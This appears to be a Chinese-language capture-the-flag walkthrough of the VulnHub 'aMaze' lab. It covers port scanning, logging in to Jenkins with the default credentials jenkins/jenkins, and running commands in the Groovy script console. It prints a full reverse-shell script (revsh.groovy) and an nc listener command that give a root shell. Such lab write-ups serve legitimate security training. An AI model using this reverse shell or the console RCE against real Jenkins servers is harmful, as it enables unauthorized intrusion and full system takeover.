靶机渗透练习33-aMaze_amaze靶机

靶机描述

靶机地址：https://www.vulnhub.com/entry/amaze-1,573/

Description

• Goal - Get “user.txt” and “root.txt”. You can also aim to get a root shell after getting “root.txt”
• Difficulty - Medium

A fun VM created to test your skills around docker, OSINT, and web application exploitation. It is recommended to run this VM with a network interface connected to the internet, however, it is not necessary in any way to accomplish the final goal.

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali：

IP地址：192.168.9.7

靶机：

IP地址：192.168.9.34

注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式）

该靶机环境搭建如下

1. 将下载好的靶机环境，导入 VritualBox，设置为 Host-Only 模式
2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l （指定网卡扫）

arp-scan -I eth0 -l

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.9.34
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-22 10:20 CST
Nmap scan report for 192.168.9.34
Host is up (0.00052s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.9.7
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 c6:ec:1b:db:32:8a:00:7d:2a:1f:0c:5c:db:33:94:20 (RSA)
|   256 9a:fb:b6:6c:64:36:d4:17:8a:7b:00:71:75:e8:b8:be (ECDSA)
|_  256 fa:97:5f:1b:a4:69:3b:07:56:75:1d:78:a2:f1:82:5f (ED25519)
80/tcp   open  http    Apache httpd 2.4.38
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.38 (Debian)
8000/tcp open  http    Jetty 9.2.z-SNAPSHOT
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.2.z-SNAPSHOT)
MAC Address: 08:00:27:B4:33:FB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms 192.168.9.34

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

21—ftp—vsftpd 3.0.3

22—ssh—OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)

80—http—Apache httpd 2.4.38

8000—http— Jetty 9.2.z-SNAPSHOT

2.2枚举漏洞

21 端口分析

好像啥也没发现

22 端口分析

一般只能暴力破解，暂时没有合适的字典

80 端口分析

访问 80 端口

扫一下目录

dirsearch -u http://192.168.9.34

尝试弱口令没有成功

8000 端口分析

访问：http://192.168.9.34:8000/

尝试弱口令：jenkins/jenkins

成功进入网站，并在页脚发现了版本2.60.3

2.3漏洞利用

2.3.1 利用 RCE 漏洞获取 shell

搜索漏洞：searchsploit Jenkins

有点多啊
尝试了一些模块，没成功
在 jenkins 网站寻找突破点，找到 脚本命令行

此控制台允许用户使用Groovy script运行自动化和报告命令。通过利用此特权，攻击者可以使用 revsh.groovy将反向 shell 会话返回给攻击者机器。

在控制台执行命令：println "whoami".execute().text

可以发现是 root 权限

2.4权限提升

2.4.1 执行脚本反弹 shell 提权

在https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76#file-revsh-groovy

成功找到利用脚本revsh.groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
1
2
3
4

修改IP，端口，程序

在 kali 监听：nc -lvp 6666
运行脚本反弹 shell

成功拿到shell，并且是root权限

找半天找不到flag，可能拿到root权限就可以了

总结

本节通过信息收集，找到 jenkins 网站，利用弱口令进入后台，再通过漏洞获取 shell，获取root 权限。

1. 信息收集
2. 弱口令
3. jenkins 漏洞